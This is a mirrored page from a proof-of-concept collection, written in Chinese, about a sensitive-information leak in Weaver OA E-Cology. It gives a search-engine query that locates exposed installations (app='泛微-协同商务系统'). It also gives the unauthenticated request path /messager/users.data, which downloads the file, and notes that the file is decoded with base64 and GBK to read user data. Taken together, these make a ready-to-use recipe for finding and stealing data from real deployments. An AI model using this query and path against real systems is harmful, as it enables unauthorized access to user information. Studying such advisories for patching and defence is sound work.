admin/Awesome-POC
1
0
Fork 0
mirror of https://github.com/Threekiii/Awesome-POC.git synced 2025-11-07 11:58:05 +00:00
Code Issues Packages Projects Releases Wiki Activity
Awesome-POC/OA产品漏洞/泛微OA E-Cology users.data 敏感信息泄漏.md
Threekiii 11de4c1d47 update
2024-11-06 14:10:36 +08:00

454 B
Raw Blame History

泛微OA E-Cology users.data 敏感信息泄漏

漏洞描述

泛微OA E-Cology users.data 允许任意用户下载，获取OA中的敏感信息

漏洞影响

泛微OA E-Cology

网络测绘

app="泛微-协同商务系统"

漏洞复现

登录页面

image-20220520134158756

验证POC

/messager/users.data

image-20220520134209598

base64 GBK解码